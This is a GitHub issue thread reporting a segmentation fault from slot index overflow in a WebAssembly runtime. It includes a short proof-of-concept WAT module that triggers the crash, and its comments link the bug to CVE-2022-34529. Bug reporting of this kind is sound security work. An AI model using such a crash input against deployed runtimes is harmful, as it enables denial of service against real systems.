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[Segmentation fault] slot index overflow because of slot missing in some bytecode #337

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ha1vk opened this issue Jun 20, 2022 · 3 comments
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[Segmentation fault] slot index overflow because of slot missing in some bytecode #337

ha1vk opened this issue Jun 20, 2022 · 3 comments
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wasm-validation

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@ha1vk
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ha1vk commented Jun 20, 2022 •
edited

image

POC is as poc.wasm and the source is here ,use `./wat2wasm --enable-all --no-check poc.wat` to get poc.wasm 
(module
  (type (;0;) (func))
  (func (;0;) (type 0)
    f32.const 1.1
    f32.ceil

    i32.const 0x13
    i32.const 0x2
    memory.fill
  )
  (memory (;0;) 1)
  (export "_start" (func 0))
  (start 0))

image

poc.wasm.zip
@vshymanskyy
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Thanks for reporting!

@vshymanskyy
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Looks like related to #344 ?

@jhutchings1
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I saw this issue was referenced in CVE-2022-34529. Does this impact any of the developer packages for WASM? cc: @taladrane

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@vshymanskyy @ha1vk @jhutchings1